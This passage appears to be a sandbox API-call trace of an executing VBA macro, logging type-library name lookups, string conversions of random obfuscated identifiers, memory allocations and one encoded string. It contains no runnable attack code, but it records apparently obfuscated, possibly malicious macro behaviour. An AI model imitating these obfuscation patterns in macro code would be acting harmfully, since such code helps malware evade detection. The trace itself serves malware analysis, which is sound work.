ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="pSWCUA", lHashVal=0x1031d8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.657] IUnknown:Release (This=0x7919520) returned 0xd [0018.657] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.657] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="pSWCUA", lHashVal=0x1031d8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.657] IUnknown:Release (This=0x7346470) returned 0xb [0018.657] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.657] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="pSWCUA", lHashVal=0x1031d8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.657] IUnknown:Release (This=0x7345930) returned 0x7 [0018.657] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.657] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="pSWCUA", lHashVal=0x1031d8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.658] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.658] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x7970d60 [0018.658] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_pSWCUA") returned 0x10ac81 [0018.658] strcpy_s (in: _Dst=0x305370, _DstSize=0xe, _Src="_B_var_pSWCUA" | out: _Dst="_B_var_pSWCUA") returned 0x0 [0018.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=14, lpWideCharStr=0x3051c0, cchWideChar=14 | out: lpWideCharStr="_B_var_pSWCUA") returned 14 [0018.658] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.658] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_pSWCUA", lHashVal=0x10ac81, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.658] IUnknown:Release (This=0x7919520) returned 0xd [0018.658] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.658] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_pSWCUA", lHashVal=0x10ac81, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.658] IUnknown:Release (This=0x7346470) returned 0xb [0018.658] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.658] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_pSWCUA", lHashVal=0x10ac81, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.658] IUnknown:Release (This=0x7345930) returned 0x7 [0018.658] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.658] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_pSWCUA", lHashVal=0x10ac81, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.658] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.658] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.658] IUnknown:Release (This=0x7919520) returned 0xd [0018.658] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62784, cbMultiByte=10, lpWideCharStr=0xcd6046c, cchWideChar=22 | out: lpWideCharStr="AcLuTiOXmc") returned 10 [0018.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6279e, cbMultiByte=10, lpWideCharStr=0xcd608b6, cchWideChar=22 | out: lpWideCharStr="bvQKXfUhVk") returned 10 [0018.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb627b2, cbMultiByte=10, lpWideCharStr=0xcd60a60, cchWideChar=22 | out: lpWideCharStr="chPUwMVfDC") returned 10 [0018.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb627c6, cbMultiByte=10, lpWideCharStr=0xcd60c0a, cchWideChar=22 | out: lpWideCharStr="QkEfOFuITT") returned 10 [0018.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb627da, cbMultiByte=10, lpWideCharStr=0xcd60db4, cchWideChar=22 | out: lpWideCharStr="mAiMVwNwBK") returned 10 [0018.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb627ee, cbMultiByte=10, lpWideCharStr=0xcd60f5e, cchWideChar=22 | out: lpWideCharStr="NCKCFTMrwH") returned 10 [0018.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62802, cbMultiByte=10, lpWideCharStr=0xcd61108, cchWideChar=22 | out: lpWideCharStr="MjTkMqqlvS") returned 10 [0018.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62816, cbMultiByte=10, lpWideCharStr=0xcd612b2, cchWideChar=22 | out: lpWideCharStr="kLOBwcCDwA") returned 10 [0018.660] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SkZiLikoooG") returned 0x108297 [0018.660] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="SkZiLikoooG" | out: _Dst="SkZiLikoooG") returned 0x0 [0018.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="SkZiLikoooG") returned 12 [0018.660] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.660] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="SkZiLikoooG", lHashVal=0x108297, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.660] IUnknown:Release (This=0x7919520) returned 0xd [0018.660] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.660] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="SkZiLikoooG", lHashVal=0x108297, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.660] IUnknown:Release (This=0x7346470) returned 0xb [0018.660] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.660] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="SkZiLikoooG", lHashVal=0x108297, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.660] IUnknown:Release (This=0x7345930) returned 0x7 [0018.660] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.660] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="SkZiLikoooG", lHashVal=0x108297, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.660] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.660] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.660] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_SkZiLikoooG") returned 0x106478 [0018.660] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_SkZiLikoooG" | out: _Dst="_B_var_SkZiLikoooG") returned 0x0 [0018.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_SkZiLikoooG") returned 19 [0018.660] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.660] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_SkZiLikoooG", lHashVal=0x106478, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.660] IUnknown:Release (This=0x7919520) returned 0xd [0018.660] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.660] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_SkZiLikoooG", lHashVal=0x106478, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.660] IUnknown:Release (This=0x7346470) returned 0xb [0018.660] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.660] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_SkZiLikoooG", lHashVal=0x106478, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.660] IUnknown:Release (This=0x7345930) returned 0x7 [0018.660] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.660] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_SkZiLikoooG", lHashVal=0x106478, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.660] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.660] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.660] IUnknown:Release (This=0x7919520) returned 0xd [0018.660] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62834, cbMultiByte=10, lpWideCharStr=0xcd63724, cchWideChar=22 | out: lpWideCharStr="CnOJhIFYCl") returned 10 [0018.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6284e, cbMultiByte=10, lpWideCharStr=0xcd63b6e, cchWideChar=22 | out: lpWideCharStr="VLIHZAqPWo") returned 10 [0018.661] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abbcb0 [0018.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62862, cbMultiByte=10, lpWideCharStr=0xcd63d18, cchWideChar=22 | out: lpWideCharStr="VhzdzpKCGa") returned 10 [0018.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62876, cbMultiByte=10, lpWideCharStr=0xcd63ec2, cchWideChar=22 | out: lpWideCharStr="GSkZllBoOV") returned 10 [0018.661] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcd70000 [0018.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6288a, cbMultiByte=10, lpWideCharStr=0xcd700a4, cchWideChar=22 | out: lpWideCharStr="imOSwmzqbN") returned 10 [0018.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6289e, cbMultiByte=10, lpWideCharStr=0xcd7024e, cchWideChar=22 | out: lpWideCharStr="czfVYUplLs") returned 10 [0018.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb628b2, cbMultiByte=10, lpWideCharStr=0xcd703f8, cchWideChar=22 | out: lpWideCharStr="wDSciCbjWn") returned 10 [0018.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb628c6, cbMultiByte=10, lpWideCharStr=0xcd705a2, cchWideChar=22 | out: lpWideCharStr="wCBAKiTihL") returned 10 [0018.663] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iuEwIFWYLPc") returned 0x10d608 [0018.663] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="iuEwIFWYLPc" | out: _Dst="iuEwIFWYLPc") returned 0x0 [0018.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="iuEwIFWYLPc") returned 12 [0018.663] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.663] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="iuEwIFWYLPc", lHashVal=0x10d608, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.663] IUnknown:Release (This=0x7919520) returned 0xd [0018.663] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.663] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="iuEwIFWYLPc", lHashVal=0x10d608, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.663] IUnknown:Release (This=0x7346470) returned 0xb [0018.663] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.663] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="iuEwIFWYLPc", lHashVal=0x10d608, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.663] IUnknown:Release (This=0x7345930) returned 0x7 [0018.663] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.663] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="iuEwIFWYLPc", lHashVal=0x10d608, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.663] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.663] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.663] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_iuEwIFWYLPc") returned 0x10b7e9 [0018.663] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_iuEwIFWYLPc" | out: _Dst="_B_var_iuEwIFWYLPc") returned 0x0 [0018.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_iuEwIFWYLPc") returned 19 [0018.663] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.663] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_iuEwIFWYLPc", lHashVal=0x10b7e9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.663] IUnknown:Release (This=0x7919520) returned 0xd [0018.663] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.663] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_iuEwIFWYLPc", lHashVal=0x10b7e9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.663] IUnknown:Release (This=0x7346470) returned 0xb [0018.663] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.663] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_iuEwIFWYLPc", lHashVal=0x10b7e9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.663] IUnknown:Release (This=0x7345930) returned 0x7 [0018.664] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.664] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_iuEwIFWYLPc", lHashVal=0x10b7e9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.664] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.664] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.664] IUnknown:Release (This=0x7919520) returned 0xd [0018.664] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb628e4, cbMultiByte=53, lpWideCharStr=0xcd72a14, cchWideChar=108 | out: lpWideCharStr="Z9RjNwoC5JsMGNC65CiUj/uxp+uxpwwwuxpAnYt4zjd0CLnkYN7Xw") returned 53 [0018.664] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.664] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.664] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.664] IUnknown:Release (This=0x7919520) returned 0xd [0018.664] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.664] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mYDisuOlMwC") returned 0x106c83 [0018.664] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="mYDisuOlMwC" | out: _Dst="mYDisuOlMwC") returned 0x0 [0018.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="mYDisuOlMwC") returned 12 [0018.664] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.664] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="mYDisuOlMwC", lHashVal=0x106c83, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.664] IUnknown:Release (This=0x7919520) returned 0xd [0018.664] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.664] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="mYDisuOlMwC", lHashVal=0x106c83, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.664] IUnknown:Release (This=0x7346470) returned 0xb [0018.664] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.664] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="mYDisuOlMwC", lHashVal=0x106c83, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.664] IUnknown:Release (This=0x7345930) returned 0x7 [0018.664] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.664] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="mYDisuOlMwC", lHashVal=0x106c83, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.664] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.664] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.664] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_mYDisuOlMwC") returned 0x105de5 [0018.664] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_mYDisuOlMwC" | out: _Dst="_B_var_mYDisuOlMwC") returned 0x0 [0018.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_mYDisuOlMwC") returned 19 [0018.664] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.664] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_mYDisuOlMwC", lHashVal=0x105de5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.665] IUnknown:Release (This=0x7919520) returned 0xd [0018.665] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.665] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_mYDisuOlMwC", lHashVal=0x105de5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.665] IUnknown:Release (This=0x7346470) returned 0xb [0018.665] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.665] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_mYDisuOlMwC", lHashVal=0x105de5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.665] IUnknown:Release (This=0x7345930) returned 0x7 [0018.665] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.665] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_mYDisuOlMwC", lHashVal=0x105de5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.665] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.665] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.665] IUnknown:Release (This=0x7919520) returned 0xd [0018.665] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62934, cbMultiByte=10, lpWideCharStr=0xcd7379c, cchWideChar=22 | out: lpWideCharStr="wXdspNZCZv") returned 10 [0018.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6294e, cbMultiByte=10, lpWideCharStr=0xcd73be6, cchWideChar=22 | out: lpWideCharStr="tDMMGDjtAi") returned 10 [0018.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62962, cbMultiByte=10, lpWideCharStr=0xcd73d90, cchWideChar=22 | out: lpWideCharStr="HcCjaBoJEd") returned 10 [0018.665] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abbf00 [0018.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62976, cbMultiByte=10, lpWideCharStr=0xcd73f3a, cchWideChar=22 | out: lpWideCharStr="RIsvIpFavw") returned 10 [0018.666] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcd80000 [0018.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6298a, cbMultiByte=10, lpWideCharStr=0xcd80104, cchWideChar=22 | out: lpWideCharStr="RoMAZjwBuv") returned 10 [0018.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6299e, cbMultiByte=10, lpWideCharStr=0xcd802ae, cchWideChar=22 | out: lpWideCharStr="vIDTsWUuSn") returned 10 [0018.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb629b2, cbMultiByte=10, lpWideCharStr=0xcd80458, cchWideChar=22 | out: lpWideCharStr="YQzwikLQER") returned 10 [0018.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb629c6, cbMultiByte=10, lpWideCharStr=0xcd80602, cchWideChar=22 | out: lpWideCharStr="zFwBNSPCKt") returned 10 [0018.667] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iIMpi") returned 0x101506 [0018.667] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="iIMpi" | out: _Dst="iIMpi") returned 0x0 [0018.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="iIMpi") returned 6 [0018.667] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.667] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="iIMpi", lHashVal=0x101506, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.667] IUnknown:Release (This=0x7919520) returned 0xd [0018.667] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.667] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="iIMpi", lHashVal=0x101506, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.667] IUnknown:Release (This=0x7346470) returned 0xb [0018.667] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.668] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="iIMpi", lHashVal=0x101506, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.668] IUnknown:Release (This=0x7345930) returned 0x7 [0018.668] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.668] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="iIMpi", lHashVal=0x101506, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.668] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.668] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.668] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_iIMpi") returned 0x10d932 [0018.668] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_iIMpi" | out: _Dst="_B_var_iIMpi") returned 0x0 [0018.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_iIMpi") returned 13 [0018.668] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.668] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_iIMpi", lHashVal=0x10d932, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.668] IUnknown:Release (This=0x7919520) returned 0xd [0018.668] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.668] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_iIMpi", lHashVal=0x10d932, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.668] IUnknown:Release (This=0x7346470) returned 0xb [0018.668] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.668] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_iIMpi", lHashVal=0x10d932, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.668] IUnknown:Release (This=0x7345930) returned 0x7 [0018.668] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.668] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_iIMpi", lHashVal=0x10d932, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.668] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.668] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.668] IUnknown:Release (This=0x7919520) returned 0xd [0018.668] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb629e4, cbMultiByte=10, lpWideCharStr=0xcd82a74, cchWideChar=22 | out: lpWideCharStr="rTaswGmOBQ") returned 10 [0018.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb629fe, cbMultiByte=10, lpWideCharStr=0xcd82ebe, cchWideChar=22 | out: lpWideCharStr="wQcWXbUlnt") returned 10 [0018.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62a12, cbMultiByte=10, lpWideCharStr=0xcd83068, cchWideChar=22 | out: lpWideCharStr="KOTnOZwfLp") returned 10 [0018.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62a26, cbMultiByte=10, lpWideCharStr=0xcd83212, cchWideChar=22 | out: lpWideCharStr="ALDAAicZiY") returned 10 [0018.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62a3a, cbMultiByte=10, lpWideCharStr=0xcd833bc, cchWideChar=22 | out: lpWideCharStr="QMhGrhZfdi") returned 10 [0018.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62a4e, cbMultiByte=10, lpWideCharStr=0xcd83566, cchWideChar=22 | out: lpWideCharStr="NiqnBdzniY") returned 10 [0018.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62a62, cbMultiByte=10, lpWideCharStr=0xcd83710, cchWideChar=22 | out: lpWideCharStr="IHDLPkNcWs") returned 10 [0018.669] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abc150 [0018.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62a76, cbMultiByte=10, lpWideCharStr=0xcd838ba, cchWideChar=22 | out: lpWideCharStr="zvGPdzjNvj") returned 10 [0018.670] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcd90000 [0018.671] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dkapnrWX") returned 0x10e947 [0018.671] strcpy_s (in: _Dst=0x3051c0, 